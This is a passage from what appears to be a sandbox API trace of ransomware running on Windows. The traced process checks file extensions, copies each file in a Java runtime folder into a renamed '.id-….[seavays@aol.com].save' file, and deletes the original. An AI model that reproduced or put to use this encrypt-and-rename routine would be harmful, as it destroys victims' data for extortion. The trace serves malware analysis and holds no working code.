lpString2="5.tlb") returned -1 [0207.281] lstrlenW (lpString=".ppt") returned 4 [0207.281] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0207.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0207.281] lstrlenW (lpString=".zip") returned 4 [0207.281] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0207.281] lstrlenW (lpString=".rar") returned 4 [0207.281] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0207.281] lstrlenW (lpString=".bz2") returned 4 [0207.281] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0207.281] lstrlenW (lpString=".7z") returned 3 [0207.281] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0207.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52 [0207.281] lstrlenW (lpString=".dbf") returned 4 [0207.281] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0207.680] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.680] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.681] GetLastError () returned 0x0 [0207.681] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x8ba40, lpOverlapped=0x0) returned 1 [0208.606] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x8ba50, lpOverlapped=0x0) returned 1 [0208.619] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.619] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xe2, lpOverlapped=0x0) returned 1 [0208.620] SetEndOfFile (hFile=0x370) returned 1 [0209.187] CloseHandle (hObject=0x370) returned 1 [0209.187] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.187] SetEndOfFile (hFile=0x36c) returned 1 [0209.194] CloseHandle (hObject=0x36c) returned 1 [0209.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.194] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1 [0209.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.195] lstrlenW (lpString=".doc") returned 4 [0209.196] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString=".docx") returned 5 [0209.196] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0209.196] lstrlenW (lpString=".pdf") returned 4 [0209.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString=".xls") returned 4 [0209.196] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString=".xlsx") returned 5 [0209.196] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0209.196] lstrlenW (lpString=".ppt") returned 4 [0209.196] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.196] lstrlenW (lpString=".zip") returned 4 [0209.196] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString=".rar") returned 4 [0209.196] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.196] lstrlenW (lpString=".bz2") returned 4 [0209.196] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.196] lstrlenW (lpString=".7z") returned 3 [0209.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.197] lstrlenW (lpString=".dbf") returned 4 [0209.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.197] lstrlenW (lpString=".1cd") returned 4 [0209.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.197] lstrlenW (lpString=".jpg") returned 4 [0209.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.197] lstrlenW (lpString=".doc") returned 4 [0209.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.197] lstrlenW (lpString=".docx") returned 5 [0209.197] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0209.197] lstrlenW (lpString=".pdf") returned 4 [0209.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.197] lstrlenW (lpString=".xls") returned 4 [0209.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.197] lstrlenW (lpString=".xlsx") returned 5 [0209.197] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0209.197] lstrlenW (lpString=".ppt") returned 4 [0209.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.198] lstrlenW (lpString=".zip") returned 4 [0209.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.198] lstrlenW (lpString=".rar") returned 4 [0209.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.198] lstrlenW (lpString=".bz2") returned 4 [0209.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.198] lstrlenW (lpString=".7z") returned 3 [0209.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.198] lstrlenW (lpString=".dbf") returned 4 [0209.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.198] lstrlenW (lpString=".1cd") returned 4 [0209.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0209.198] lstrlenW (lpString=".jpg") returned 4 [0209.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.198] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0209.198] lstrlenW (lpString="wsdetect.dll") returned 12 [0209.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.200] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=192576) returned 1 [0209.200] CloseHandle (hObject=0x36c) returned 1 [0209.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0209.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.200] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.200] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.202] GetLastError () returned 0x0 [0209.202] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x2f040, lpOverlapped=0x0) returned 1 [0209.224] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x2f050, lpOverlapped=0x0) returned 1 [0209.627] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.627] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.627] SetEndOfFile (hFile=0x370) returned 1 [0209.627] CloseHandle (hObject=0x370) returned 1 [0209.627] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.628] SetEndOfFile (hFile=0x36c) returned 1 [0209.630] CloseHandle (hObject=0x36c) returned 1 [0209.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.630] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.631] lstrlenW (lpString=".doc") returned 4 [0209.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".docx") returned 5 [0209.631] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.631] lstrlenW (lpString=".pdf") returned 4 [0209.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".xls") returned 4 [0209.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".xlsx") returned 5 [0209.631] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.631] lstrlenW (lpString=".ppt") returned 4 [0209.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.631] lstrlenW (lpString=".zip") returned 4 [0209.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".rar") returned 4 [0209.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.631] lstrlenW (lpString=".bz2") returned 4 [0209.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString=".7z") returned 3 [0209.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.632] lstrlenW (lpString=".dbf") returned 4 [0209.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.632] lstrlenW (lpString=".1cd") returned 4 [0209.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.632] lstrlenW (lpString=".jpg") returned 4 [0209.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.632] lstrlenW (lpString=".doc") returned 4 [0209.632] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString=".docx") returned 5 [0209.632] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0209.632] lstrlenW (lpString=".pdf") returned 4 [0209.632] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString=".xls") returned 4 [0209.632] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.632] lstrlenW (lpString=".xlsx") returned 5 [0209.632] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0209.632] lstrlenW (lpString=".ppt") returned 4 [0209.633] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.633] lstrlenW (lpString=".zip") returned 4 [0209.633] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.633] lstrlenW (lpString=".rar") returned 4 [0209.633] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.633] lstrlenW (lpString=".bz2") returned 4 [0209.633] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.633] lstrlenW (lpString=".7z") returned 3 [0209.633] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.633] lstrlenW (lpString=".dbf") returned 4 [0209.633] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.633] lstrlenW (lpString=".1cd") returned 4 [0209.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.633] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll") returned 51 [0209.633] lstrlenW (lpString=".jpg") returned 4 [0209.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.633] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".save") returned -1 [0209.633] lstrlenW (lpString="classlist") returned 9 [0209.634] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.635] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=84355) returned 1 [0209.635] CloseHandle (hObject=0x36c) returned 1 [0209.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0209.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.635] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.635] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.635] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.636] GetLastError () returned 0x0 [0209.636] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x14983, lpOverlapped=0x0) returned 1 [0209.640] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x14990, lpOverlapped=0x0) returned 1 [0209.644] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.644] WriteFile (in: hFile=0x370, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xe6, lpOverlapped=0x0) returned 1 [0209.644] SetEndOfFile (hFile=0x370) returned 1 [0209.644] CloseHandle (hObject=0x370) returned 1 [0209.645] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.645] SetEndOfFile (hFile=0x36c) returned 1 [0209.646] CloseHandle (hObject=0x36c) returned 1 [0209.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.647] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0209.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.647] lstrlenW (lpString=".doc") returned 4 [0209.647] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0209.647] lstrlenW (lpString=".docx") returned 5 [0209.647] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0209.647] lstrlenW (lpString=".pdf") returned 4 [0209.647] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0209.647] lstrlenW (lpString=".xls") returned 4 [0209.647] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0209.647] lstrlenW (lpString=".xlsx") returned 5 [0209.647] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0209.647] lstrlenW (lpString=".ppt") returned 4 [0209.647] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0209.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.647] lstrlenW (lpString=".zip") returned 4 [0209.648] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0209.648] lstrlenW (lpString=".rar") returned 4 [0209.648] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0209.648] lstrlenW (lpString=".bz2") returned 4 [0209.648] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0209.648] lstrlenW (lpString=".7z") returned 3 [0209.648] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.648] lstrlenW (lpString=".dbf") returned 4 [0209.648] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.648] lstrlenW (lpString=".1cd") returned 4 [0209.648] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.648] lstrlenW (lpString=".jpg") returned 4 [0209.648] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0209.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.648] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.648] lstrlenW (lpString=".doc") returned 4 [0209.648] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0209.648] lstrlenW (lpString=".docx") returned 5 [0209.648] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0209.648] lstrlenW (lpString=".pdf") returned 4 [0209.648] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0209.649] lstrlenW (lpString=".xls") returned 4 [0209.649] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0209.649] lstrlenW (lpString=".xlsx") returned 5 [0209.649] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0209.649] lstrlenW (lpString=".ppt") returned 4 [0209.649] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.649] lstrlenW (lpString=".zip") returned 4 [0209.649] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0209.649] lstrlenW (lpString=".rar") returned 4 [0209.649] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0209.649] lstrlenW (lpString=".bz2") returned 4 [0209.649] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0209.649] lstrlenW (lpString=".7z") returned 3 [0209.649] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.649] lstrlenW (lpString=".dbf") returned 4 [0209.649] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.649] lstrlenW (lpString=".1cd") returned 4 [0209.649] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0209.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0209.649] lstrlenW (lpString=".jpg") returned 4 [0209.649] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0209.650] lstrcmpiW (lpString1=".pf", lpString2=".save") returned -1 [0209.650] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0209.650] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.650] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=51236) returned 1 [0209.650] CloseHandle (hObject=0x36c) returned 1 [0209.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0209.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0209.651] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.651] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.651] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.657] GetLastError () returned 0x0 [0209.657] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0xc824, lpOverlapped=0x0) returned 1 [0209.659] 